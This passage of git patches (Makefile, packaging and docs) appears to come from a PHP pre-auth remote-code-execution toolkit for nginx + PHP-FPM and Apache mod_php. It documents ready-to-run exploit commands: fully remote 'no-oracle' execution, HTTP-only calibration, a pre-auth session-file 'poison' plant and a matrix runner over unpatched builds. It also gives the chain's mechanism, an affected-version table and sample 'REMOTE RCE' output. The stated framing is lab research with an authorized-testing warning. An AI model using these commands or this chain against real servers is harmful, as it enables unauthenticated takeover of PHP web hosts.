--------------------------------------------------------------------------- # + +build-nginx: ## Build nginx into lab/fpm/runtime + lab/fpm/build_nginx.sh + +build-php: ## Build a PHP version into lab/fpm/runtime (VERSION=8.4.26) + @test -n "$(VERSION)" || \ + (echo "usage: make build-php VERSION=8.4.26"; exit 2) + lab/fpm/build_php.sh "$(VERSION)" + +build-all: ## Build several PHP versions (VERSIONS="8.4.25 8.4.26") + @test -n "$(VERSIONS)" || \ + (echo "usage: make build-all VERSIONS=\"8.4.25 8.4.26\""; exit 2) + lab/fpm/build_all.sh $(VERSIONS) + +profile-draft: ## Generate a draft FPM profile (PHP_FPM=... VERSION=...) + @test -n "$(PHP_FPM)" -a -n "$(VERSION)" || \ + (echo "usage: make profile-draft PHP_FPM=/path/to/php-fpm VERSION=8.4.25"; exit 2) + python3 tools/php2shell_fpm_profile.py --php-fpm "$(PHP_FPM)" --version "$(VERSION)" + +calibrate-remote: ## Discover a profile over HTTP only (VERSION=... BASE=... BUILDER=...) + @test -n "$(VERSION)" || \ + (echo "usage: make calibrate-remote VERSION=8.2.34 BASE=http://127.0.0.1:8406 BUILDER=http://127.0.0.1:8407"; exit 2) + python3 tools/php2shell_fpm.py --version "$(VERSION)" \ + --base "$(BASE)" --builder "$(BUILDER)" calibrate + +remote: ## Run the 100%-remote chain (VERSION=... BASE=... BUILDER=...) + @test -n "$(VERSION)" || \ + (echo "usage: make remote VERSION=8.2.34 BASE=http://127.0.0.1:8406 BUILDER=http://127.0.0.1:8407"; exit 2) + python3 tools/php2shell_fpm.py --version "$(VERSION)" \ + --base "$(BASE)" --builder "$(BUILDER)" \ + --command "id>out/remote-$(VERSION)" --proof-file "out/remote-$(VERSION)" \ + no-oracle + +matrix: ## Verify the remote chain on every unpatched build + python3 tools/php2shell_fpm_matrix.py + +# --------------------------------------------------------------------------- # +# Laboratories +# --------------------------------------------------------------------------- # + +labs-up: ## Start all local Docker laboratories (ports 8100-8106) python3 tools/php2shell_labs.py up -labs-down: ## Stop all local laboratories +labs-down: ## Stop all local Docker laboratories python3 tools/php2shell_labs.py down -labs-status: ## Show laboratory container status +labs-status: ## Show Docker laboratory container status python3 tools/php2shell_labs.py status -labs-test: ## Run the dispatcher against each lab +labs-test: ## Run the dispatcher against each Docker lab python3 tools/php2shell_labs.py test labs-fpm-up: ## Start the nginx + PHP-FPM laboratories (no Docker) @@ -30,23 +103,16 @@ labs-fpm-down: ## Stop the nginx + PHP-FPM laboratories labs-fpm-status: ## Show FPM laboratory status python3 tools/php2shell_fpm_labs.py status -labs-fpm-test: ## Run primitive + endgame against the FPM lab - python3 tools/php2shell_fpm_labs.py test +labs-fpm-smoke: ## Check the FPM lab endpoints + python3 tools/php2shell_fpm_labs.py smoke -inventory: ## Print the profile and offset inventory - python3 tools/php2shell_inventory.py +labs-fpm-ports: ## Print the FPM lab port map + python3 tools/php2shell_fpm_labs.py ports -validate-profiles: ## Validate profiles (requires jsonschema) - python3 -c "import json, jsonschema; \ - schema = json.load(open('profiles/schema.json')); \ - from pathlib import Path; \ - [jsonschema.validate(json.loads(p.read_text()), schema) or print(f' ok {p.name}') \ - for p in sorted(Path('profiles').glob('*.json')) if p.name != 'schema.json']" +labs-fpm-test: ## Run primitive + endgame against the FPM lab + python3 tools/php2shell_fpm_labs.py test clean: ## Remove generated files and vendor checkout rm -rf vendor/php2shell-upstream rm -rf lab/rce/out/ - -help: ## Show this help - @grep -E '^[a-zA-Z_-]+:.*##' $(MAKEFILE_LIST) | \ - awk 'BEGIN {FS = ":.*## "}; {printf " \033[36m%-20s\033[0m %s\n", $$1, $$2}' + rm -rf lab/fpm/webroot/out/ diff --git a/pyproject.toml b/pyproject.toml index fe76657..b5b09ee 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,17 +1,17 @@ [project] name = "php2shell" version = "1.0.0" -description = "Pre-auth RCE research toolkit for CVE-2026-109618 / CVE-2026-109619" +description = "Pre-auth RCE research toolkit for CVE-2026-109618 / CVE-2026-109619 (Apache mod_php and nginx + PHP-FPM chains)" readme = "README.md" license = "MIT" +license-files = ["LICENSE"] requires-python = ">=3.11" authors = [{ name = "devploit" }] -keywords = ["security", "research", "php", "rce", "exploit"] +keywords = ["security", "research", "php", "php-fpm", "rce", "exploit"] classifiers = [ "Development Status :: 4 - Beta", "Intended Audience :: Information Technology", "Intended Audience :: Science/Research", - "License :: OSI Approved :: MIT License", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.11", "Programming Language :: Python :: 3.12", @@ -24,8 +24,8 @@ Repository = "https://github.com/devploit/php2shell" Documentation = "https://github.com/devploit/php2shell/blob/main/docs/php2shell-analysis.md" [build-system] -requires = ["setuptools>=68.0"] -build-backend = "setuptools.backends._legacy:_Backend" +requires = ["setuptools>=77.0"] +build-backend = "setuptools.build_meta" [tool.setuptools] packages = [] diff --git a/requirements-dev.txt b/requirements-dev.txt new file mode 100644 index 0000000..f427698 --- /dev/null +++ b/requirements-dev.txt @@ -0,0 +1,2 @@ +jsonschema>=4.20 +ruff>=0.6 From ee8a154b719d6fbe30d6e744b3c880591bf5ec73 Mon Sep 17 00:00:00 2001 From: VABISMO Date: Sat, 24 Oct 2026 11:01:26 +0200 Subject: [PATCH 9/9] Document the expanded PHP-FPM chain README: the status table now lists the five verified FPM builds, the features section describes the remote calibrate/poison/no-oracle flow and the version registry, and the FPM lab quick start uses the corrected `up --only` CLI with build/calibrate/poison/matrix examples. Update the repository layout and drop the stale claim that the FPM chain always needs a /proc oracle -- only the lab endgame/primitive modes do. docs/fpm-chain.md: add the affected-version table, the PHP <= 7.x session-file plant (poison), remote calibration and the unpatched matrix, expand the lab port map to every verified build, and fix `up --only`. docs/labs.md: give the rootless nginx+FPM laboratory its own section with the build steps and the full port map, linking back to fpm-chain.md. --- README.md | 105 ++++++++++++++++++++++++++++++------------ docs/fpm-chain.md | 113 ++++++++++++++++++++++++++++++++++++++++++++-- docs/labs.md | 33 ++++++++++++++ 3 files changed, 216 insertions(+), 35 deletions(-) diff --git a/README.md b/README.md index e980e14..d7afffb 100644 --- a/README.md +++ b/README.md @@ -37,6 +37,10 @@ not match the profile. | PHP 8.5.10 aarch64 | `php:8.5.10-apache` | `php-8.5.10-bookworm-aarch64` | yes | yes | **yes** | `uid=33(www-data)` | | PHP 8.4.26 amd64 | `php:8.4.26-apache` | `php-8.4.26-bookworm-amd64` | yes | yes | **yes** | reference build | | PHP 8.4.26 FPM amd64 | php-8.4.26 source tarball (nginx+FPM) | `php-8.4.26-fpm` | http (stale string) | http (stale string) | **yes** | `BG(unserialize)` chain; two-slot reclaim; HTTP-only `no-oracle` endgame | +| PHP 8.4.25 FPM amd64 | php-8.4.25 source tarball (nginx+FPM) | `php-8.4.25-fpm` | http (stale string) | http (stale string) | **yes** | same chain, calibrated geometry | +| PHP 8.4.0 FPM amd64 | php-8.4.0 source tarball (nginx+FPM) | `php-8.4.0-fpm` | http (stale string) | http (stale string) | **yes** | earliest 8.4 release of the branch | +| PHP 8.3.35 FPM amd64 | php-8.3.35 source tarball (nginx+FPM) | `php-8.3.35-fpm` | http (stale string) | http (stale string) | **yes** | last vulnerable 8.3 | +| PHP 8.2.34 FPM amd64 | php-8.2.34 source tarball (nginx+FPM) | `php-8.2.34-fpm` | http (stale string) | http (stale string) | **yes** | last vulnerable 8.2 | | PHP 8.4.25 aarch64 | `php:8.4.25-apache` | `php-8.4.25-bookworm-aarch64` | yes | yes | **yes** | probabilistic stage 3; retries | | PHP 8.5.0 aarch64 | `php:8.5.0-apache` | `php-8.5.0-bookworm` | yes | yes | no | stage-3 layout not found | | PHP 8.3.35 aarch64 | `php:8.3.35-apache` | `php-8.3.35-bookworm-aarch64` | yes | yes | no | stage-3 reference alive | @@ -48,13 +52,14 @@ not match the profile. | PHP 7.4.33 aarch64 | `php:7.4-apache` | `php-7.4.33-bookworm-aarch64` | no | no | no | UAF; leak shape differs | | PHP 8.2.0 aarch64 | `php:8.2.0-apache` | — (offsets only) | n/a | n/a | no | no heap profile | -**14 profiles (13 heap + 1 FPM), 6 with verified RCE. Offsets extracted for -12 builds.** The FPM profile has no Apache leak stages: `endgame` resolves the stale -`BG(unserialize)` struct and the php-fpm PIE base with the -`/proc//mem` oracle each run; `no-oracle` leaks the two absolute bases -over HTTP from a stale-session string OOB read, or takes them from -`--chunk`/`--pie` or local `/proc//maps`, then brute-forces the two -slots ([docs/fpm-chain.md](docs/fpm-chain.md)). +**18 profiles (13 Apache/mod_php + 5 PHP-FPM), 10 with verified RCE. Offsets +extracted for 12 Apache builds.** The PHP-FPM profiles have no Apache leak +stages: the chain abuses the stale `BG(unserialize)` struct instead. +`no-oracle` is fully remote — it leaks the chunk and php-fpm PIE bases over +HTTP from a stale-session string OOB read (or takes them from `--chunk`/ +`--pie`) and fires without touching `/proc//mem`; the lab-only `endgame` +can still read them through the oracle +([docs/fpm-chain.md](docs/fpm-chain.md)). `Heap leak` is stage 1 and `libphp leak` is stage 2; `oracle (heap)` and `oracle (PIE)` mean the FPM chain reads the heap chunk and the php-fpm PIE base @@ -90,9 +95,17 @@ default retries because its stage 3 is probabilistic. CVEs against PHP-FPM behind nginx: an out-of-memory request leaves the `BG(unserialize)` pointer stale, the next request reclaims the struct, and a forged session variable turns the session shutdown path into `zif_system`. - Verified command execution on 8.4.26; `patchcheck` proves 8.4.27 is clean. - Requires a `/proc//mem` oracle (`ptrace_scope=0`), so it runs in the - local laboratory mode (`--builder` endpoint for the 4 MB arm phase). + Verified command execution on 8.2.34, 8.3.35, 8.4.0, 8.4.25 and 8.4.26; + `patchcheck` proves 8.4.27 is clean. `calibrate` derives the leak and + reclaim geometry of any 8.0+ build over HTTP only; `poison` (the + `session.upload_progress` session-file plant) covers PHP 5.4-7.x where the + struct-freeing chain does not apply; `php2shell_fpm_matrix.py` verifies the + whole unpatched set in one run. The `no-oracle` endgame is fully remote — + no `/proc//mem`, no local shell. +- **PHP version registry** — `tools/php2shell_fpm_versions.py` is the single + source of truth for the affected-version matrix: `is_vulnerable()`, + `fixed_in()`, `source_is_fixed()` classifies a tarball by the presence of the + upstream fix marker instead of trusting a version string. - **Calibration factory** — `php2shell_calibrate.py` discovers stages 1-2 and verifies stage 3 with a real proof before writing `rce: true`; `php2shell_matrix.py` runs the factory over a matrix of images. @@ -159,25 +172,43 @@ python3 tools/php2shell_inventory.py ### PHP-FPM laboratory (no Docker) -The FPM chain runs against an amd64 user-prefix PHP build with nginx. The -default `endgame` uses the `/proc//mem` oracle (`ptrace_scope=0`); -`no-oracle` avoids it at exploit time and leaks chunk/PIE over HTTP by default: +The FPM chain runs against an amd64 user-prefix PHP build with nginx — no +Docker, no root. Build nginx and a vulnerable PHP (any of 8.2.34, 8.3.35, +8.4.0, 8.4.25 or 8.4.26), then start the lab for that version: + +```sh +lab/fpm/build_nginx.sh +lab/fpm/build_php.sh 8.4.26 +python3 tools/php2shell_fpm_labs.py up --only 8.4.26 +python3 tools/php2shell_fpm_labs.py status +``` + +The default `endgame` uses the `/proc//mem` oracle (`ptrace_scope=0`); +`no-oracle` is fully remote and leaks chunk/PIE over HTTP by default: ```sh -python3 tools/php2shell_fpm_labs.py up --version 8.4.26 python3 tools/php2shell_auto.py -u http://127.0.0.1:8110/index.php --sapi fpm \ --builder http://127.0.0.1:8111 # or drive the chain directly: python3 tools/php2shell_fpm.py \ --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 \ endgame -# no /proc//mem at exploit time (HTTP leak; --chunk/--pie override) +# fully remote RCE: HTTP leak, no /proc at exploit time (--chunk/--pie override) python3 tools/php2shell_fpm.py \ --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 \ --command 'id>out/p1' --proof-file out/p1 no-oracle # print only the leaked bases python3 tools/php2shell_fpm.py \ --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 leak +# derive a profile for any 8.0+ build over HTTP, then trust it: +python3 tools/php2shell_fpm.py \ + --version 8.2.34 --base http://127.0.0.1:8406 --builder http://127.0.0.1:8407 calibrate +# PHP <= 7.x: plant chosen bytes into a chosen session file (pre-auth) +python3 tools/php2shell_fpm.py \ + --version 7.4.33 --base http://127.0.0.1:8336 --builder http://127.0.0.1:8337 \ + poison --sid plant7x --payload 'PLANTED_MARKER' +# verify the remote chain on every unpatched build in one run (7.2 -> 8.4) +python3 tools/php2shell_fpm_matrix.py python3 tools/php2shell_fpm_labs.py down ``` @@ -268,10 +299,12 @@ The shipped calibration targets: A hardened production PHP (128M+, `display_errors=Off`, multiple workers, FPM) does not match the shipped Apache calibration. Multi-worker Apache targets are handled with `--pin-workers`; `display_errors=Off` remains an open research -item. The FPM chain has its own requirements: nginx in front of FPM, a -`/proc//mem` oracle (`yama ptrace_scope=0`), a small consumer pool -(`memory_limit=8M`, cleanup on) and a larger builder pool (64M, cleanup off) -for the 4 MB arm phase — see [docs/fpm-chain.md](docs/fpm-chain.md). +item. The FPM chain has its own requirements: nginx in front of FPM, a small +consumer pool (`memory_limit=8M`, cleanup on) and a larger builder pool (64M, +cleanup off) for the 4 MB arm phase, sharing a session directory. The +`no-oracle` endgame is fully remote; only the lab `endgame`/`primitive` modes +additionally need `/proc//mem` (`yama ptrace_scope=0`) — see +[docs/fpm-chain.md](docs/fpm-chain.md). ## Multi-worker targets @@ -350,19 +383,29 @@ git -C vendor/php2shell-upstream checkout 4586f5c ```text catalog/vulnerable.json vulnerable branches and fixed releases -.github/workflows/ci.yml tests and gitleaks -profiles/*.json heap profiles (offsets, heap params, verified flag) +.github/workflows/ci.yml tests, profile validation and gitleaks +.github/workflows/live-fpm.yml manual live FPM lab (build + exploit 8.4.x) +.github/workflows/release.yml GitHub release on v* tags +profiles/*.json build profiles (offsets, heap params, verified flag) +profiles/*-fpm.json verified PHP-FPM profiles (8.2.34 - 8.4.26) +profiles/schema.json generic build-profile validator +profiles/fpm-schema.json strict PHP-FPM profile validator profiles/offsets/*.json ELF symbol offsets per image +requirements-dev.txt jsonschema + ruff (dev/CI) vendor/ generated upstream checkout (git-ignored) tools/ php2shell_auto.py version-aware dispatcher (Apache + FPM) - php2shell_fpm.py PHP-FPM chain client (arm/reclaim/fire) + php2shell_fpm.py PHP-FPM client (calibrate/poison/leak/no-oracle/endgame) php2shell_fpm_labs.py user-prefix FPM laboratories (no Docker) - php2shell_calibrate.py profile generator with proof verification - php2shell_matrix.py profile factory over image tags + php2shell_fpm_matrix.py verify the remote chain on every unpatched build + php2shell_fpm_profile.py draft FPM profile generator (nm + offsets) + php2shell_fpm_versions.py affected-version registry (single source of truth) + php2shell_fpm_offsets.c struct offsets compiled per build + php2shell_calibrate.py Apache profile generator with proof verification + php2shell_matrix.py Apache profile factory over image tags php2shell_rce.py manual upstream launcher php2shell_assess.py exposure/leak assessment (no RCE claim) - php2shell_labs.py disposable local laboratories + php2shell_labs.py disposable local Apache laboratories php2shell_offsets.py ELF offset extraction for any image php2shell_inventory.py profile/offset table php2shell_paths.py upstream checkout resolution @@ -372,7 +415,7 @@ tools/ lab/ wordpress/ WordPress 8.3.33 + mod_php laboratory rce/ single-worker calibration lab and configs - fpm/ nginx + PHP-FPM laboratory (8.4.26 / 8.4.27) + fpm/ nginx + PHP-FPM laboratory (7.2 - 8.4; build_*.sh) docs/ php2shell-analysis.md technical analysis fpm-chain.md PHP-FPM chain and laboratory @@ -450,10 +493,12 @@ OOM, which is why the 8.4/8.5 stage-3 carrier does not transfer. ## Limitations -- **mod_php prefork and FPM.** The Apache chain needs prefork + `mod_php`; - the FPM chain needs nginx + FPM with a `/proc//mem` oracle - (`ptrace_scope=0`) and two endpoints (consumer + builder pool). Other SAPIs - are not supported. +- **mod_php prefork and FPM.** The Apache chain needs prefork + `mod_php`; the + FPM chain needs nginx + FPM with two endpoints (a low-memory consumer pool and + a high-memory builder pool) and a session directory shared between them. Only + the lab-only `endgame`/`primitive` oracle modes need `/proc//mem` + (`ptrace_scope=0`); `no-oracle` is fully remote. Other SAPIs are not + supported. - **One worker / pinning.** Without pinning, the per-worker session state breaks stage 1. - **Per-build offsets.** A profile is tied to a `libphp.so` build; the same diff --git a/docs/fpm-chain.md b/docs/fpm-chain.md index 0f43dd6..a9240ef 100644 --- a/docs/fpm-chain.md +++ b/docs/fpm-chain.md @@ -6,9 +6,12 @@ needs a pre-RINIT out-of-memory bailout. Under PHP-FPM that bailout is fatal: Apache progress-cache UAF never survives to the next request. The FPM-viable primitive is the **stale `BG(unserialize)` state** — the same -CVEs through a different window. Verified end-to-end on PHP 8.4.26 (amd64, -Debian) in the local laboratory; `cmd_patchcheck` confirms 8.4.27 leaves -`level=0` (clean). +CVEs through a different window. Verified end-to-end on PHP 8.2.34, 8.3.35, +8.4.0, 8.4.25 and 8.4.26 (amd64, Debian-style user-prefix builds) in the local +laboratory; `cmd_patchcheck` confirms 8.4.27 leaves `level=0` (clean). PHP +<= 7.x cannot use this struct-freeing chain, but the same +`session.upload_progress` surface gives a pre-auth **session-file plant** +(`poison`), covered below. > **Authorized testing only.** The chain is disruptive: it sends multi-megabyte > bodies, triggers out-of-memory conditions and kills FPM workers. Use it only @@ -30,6 +33,25 @@ The chain therefore has to *re-claim* the stale struct inside the request that still sees it, before RINIT runs. The rfc1867 multipart upload handler gives exactly that window. +## Affected versions + +`tools/php2shell_fpm_versions.py` is the single source of truth for the +affected-version matrix. Every release before the branch fix is vulnerable: + +| Branch | Vulnerable | Fixed | This repository | +| --- | --- | --- | --- | +| 8.4 | 8.4.0 – 8.4.26 | 8.4.27 | **verified profiles (8.4.0, 8.4.25, 8.4.26)** | +| 8.3 | 8.3.0 – 8.3.35 | 8.3.36 | **verified profile (8.3.35)** | +| 8.2 | 8.2.0 – 8.2.34 | 8.2.35 | **verified profile (8.2.34)** | +| 7.4 / 7.2 (and older) | every release | **never patched** | session-file plant (`poison`); no struct-freeing chain | + +(PHP 8.5 is fixed in 8.5.12 and is intentionally out of scope here.) +`is_vulnerable()`, `fixed_in()`, `affected_versions()` and `source_is_fixed()` +(which classifies a tarball by the presence of the upstream fix marker rather +than a version string) all resolve through that registry, and +`has_session_cancel_decode()` decides whether the struct-freeing chain can +apply to a build at all (it needs PHP 8.0+). + ## The chain All offsets are per build and live in `profiles/8.4.26-fpm.json` @@ -192,9 +214,18 @@ target arguments. | Build | chain HTTP | builder HTTP | chain FPM | builder FPM | | --- | --- | --- | --- | --- | +| 7.2.34 | :8268 | :8269 | :9168 | :9169 | +| 7.4.33 | :8336 | :8337 | :9236 | :9237 | +| 8.2.34 | :8406 | :8407 | :9306 | :9307 | +| 8.3.35 | :8478 | :8479 | :9378 | :9379 | +| 8.4.0 | :8480 | :8481 | :9380 | :9381 | +| 8.4.25 | :8130 | :8131 | :9021 | :9022 | | 8.4.26 | :8110 | :8111 | :9001 | :9002 | | 8.4.27 | :8120 | :8121 | :9011 | :9012 | +Every other built version gets a block of its own from +`php2shell_fpm_labs.builds_map()` (`make labs-fpm-ports` prints the mapping). + Pools (from `lab/fpm/php-fpm.conf.in`): - **chain** — `memory_limit=8M`, session `cleanup=On` (the consumer worker); @@ -211,7 +242,7 @@ Requirements: Python 3.11+, gcc for the user-prefix PHP builds ptrace_scope=0` for the `/proc//mem` oracle; `no-oracle` does not. ```sh -python3 tools/php2shell_fpm_labs.py up --version 8.4.26 +python3 tools/php2shell_fpm_labs.py up --only 8.4.26 python3 tools/php2shell_fpm_labs.py status python3 tools/php2shell_fpm_labs.py smoke python3 tools/php2shell_fpm_labs.py test # primitive + endgame end-to-end @@ -264,11 +295,83 @@ python3 tools/php2shell_auto.py \ Tests: the unit suite always runs; the live lab tests are gated: ```sh -python3 -m unittest discover -s tests -v # 51 tests, skips live FPM +python3 -m unittest discover -s tests -v # unit suite, skips live FPM PHP2SHELL_FPM_LAB=1 python3 -m unittest \ tests.test_fpm.FpmLabIntegrationTests -v # primitive + endgame + no-oracle live ``` +## Session-file plant (PHP 5.4-8.x, `poison`) + +The other half of `session.upload_progress` works on **every** version, +including PHP <= 7.x where the struct-freeing chain does not apply: + +1. `MULTIPART_EVENT_FORMDATA` copies the session id **from the POST body** + without consulting `session.use_only_cookies`; +2. `MULTIPART_EVENT_FILE_START` installs it as `PS(id)` and writes the progress + data there — kept by `session.upload_progress.cleanup=Off` on the builder; +3. the upload **filename** is stored and serialized into that file, so chosen + bytes land in a session file of the attacker's choosing + (`php_session_valid_key` limits the name to `[a-zA-Z0-9,-]`, so it is inside + `save_path`, not a path traversal); +4. the application deserializes the file on its next `session_start()` and + reflects it — over HTTP, no `/proc` anywhere. + +```sh +python3 tools/php2shell_fpm.py --version 7.4.33 \ + --base http://127.0.0.1:8336 --builder http://127.0.0.1:8337 \ + poison --sid plant7x --payload 'PLANTED_MARKER' +``` + +This is arbitrary **session-file write** pre-auth, not RCE by itself: the +serializer rejects keys containing `|` (so the key cannot smuggle objects) and +the files handler validates the id, which rules out path traversal. Turning the +plant into code execution needs an application gadget or a local file include +in the target — which is why PHP <= 7.x is reported as *session plant* and RCE +is reserved for 8.0+, where the struct-freeing chain applies. + +## Remote calibration (`calibrate`) + +`calibrate` derives everything a profile needs **with HTTP requests only** — +no `/proc`, no local shell, no FPM PID. It is the same traffic the exploit +sends, so a build that calibrates is a build that exploits: + +```sh +python3 tools/php2shell_fpm.py \ + --version 8.2.34 --base http://127.0.0.1:8406 --builder http://127.0.0.1:8407 \ + calibrate +``` + +Three phases, each validated by the answer of the target: + +1. **Leak geometry** — the forged `zend_string` header is tried at a few + content offsets; accepted when two consecutive OOB reads expose a chunk and + a PIE pointer at the *same* offsets (which also fixes `chunk_base_off`). +2. **Reclaim geometry** — a forged `IS_LONG` zval reflected by `app.php` needs + no PIE base, so it isolates the heap geometry (pad/size shapes and + `(chunk offset, content offset)` pairs). +3. **PIE base** — the leaked pointer is rounded to 2 MB boundaries and each + candidate is proven with a remote endgame until the proof file appears. + +The result is written into `profiles/-fpm.json`; `no-oracle` then +reproduces the RCE against that build. + +## Unpatched matrix (`php2shell_fpm_matrix.py`) + +`make matrix` (or `python3 tools/php2shell_fpm_matrix.py`) verifies the remote +chain on every unpatched build, one lab at a time so the ports never fight. For +each version it starts the lab, calibrates the profile over HTTP when it is not +verified yet, runs the 100%-remote `no-oracle` endgame, and prints one line per +version (patched releases are skipped by design): + +```text +7.2.34 SESSION PLANT pre-auth write into sess_ +7.4.33 SESSION PLANT pre-auth write into sess_ +8.2.34 REMOTE RCE uid=1000(...) ... +8.3.35 REMOTE RCE uid=1000(...) ... +8.4.25 REMOTE RCE uid=1000(...) ... +8.4.26 REMOTE RCE uid=1000(...) ... +``` + ## Limitations and future work - **Oracle lab mode.** `endgame` still uses the `/proc//mem` oracle to diff --git a/docs/labs.md b/docs/labs.md index c534db7..c3a2eae 100644 --- a/docs/labs.md +++ b/docs/labs.md @@ -29,3 +29,36 @@ proof to `lab/rce/out//p1`. Builds without a verified RCE profile are refused by the dispatcher; they do not send the chain. Extending coverage means calibrating that build with `tools/php2shell_calibrate.py` and committing the resulting profile. + +## PHP-FPM laboratory (nginx + PHP-FPM, no Docker) + +The FPM chain uses a separate, rootless laboratory: user-prefix nginx and +PHP-FPM builds compiled by `lab/fpm/build_nginx.sh` and `lab/fpm/build_php.sh` +into `lab/fpm/runtime/` (git-ignored). No Docker, no root. One nginx front +serves a low-memory **chain** pool (8M, cleanup on) and a high-memory +**builder** pool (64M, cleanup off) per build, sharing a session directory. + +```sh +lab/fpm/build_nginx.sh +lab/fpm/build_php.sh 8.4.26 # any of 8.2.34, 8.3.35, 8.4.0, 8.4.25, 8.4.26 +python3 tools/php2shell_fpm_labs.py up --only 8.4.26 +python3 tools/php2shell_fpm_labs.py status +python3 tools/php2shell_fpm_labs.py smoke +python3 tools/php2shell_fpm_labs.py down +``` + +Verified builds and their fixed ports (`make labs-fpm-ports` prints the map): + +| Build | chain HTTP | builder HTTP | chain FPM | builder FPM | +| --- | --- | --- | --- | --- | +| 7.2.34 | :8268 | :8269 | :9168 | :9169 | +| 7.4.33 | :8336 | :8337 | :9236 | :9237 | +| 8.2.34 | :8406 | :8407 | :9306 | :9307 | +| 8.3.35 | :8478 | :8479 | :9378 | :9379 | +| 8.4.0 | :8480 | :8481 | :9380 | :9381 | +| 8.4.25 | :8130 | :8131 | :9021 | :9022 | +| 8.4.26 | :8110 | :8111 | :9001 | :9002 | +| 8.4.27 | :8120 | :8121 | :9011 | :9012 | + +The full chain, the `calibrate`/`poison`/`no-oracle` commands and the unpatched +matrix runner are documented in [fpm-chain.md](fpm-chain.md).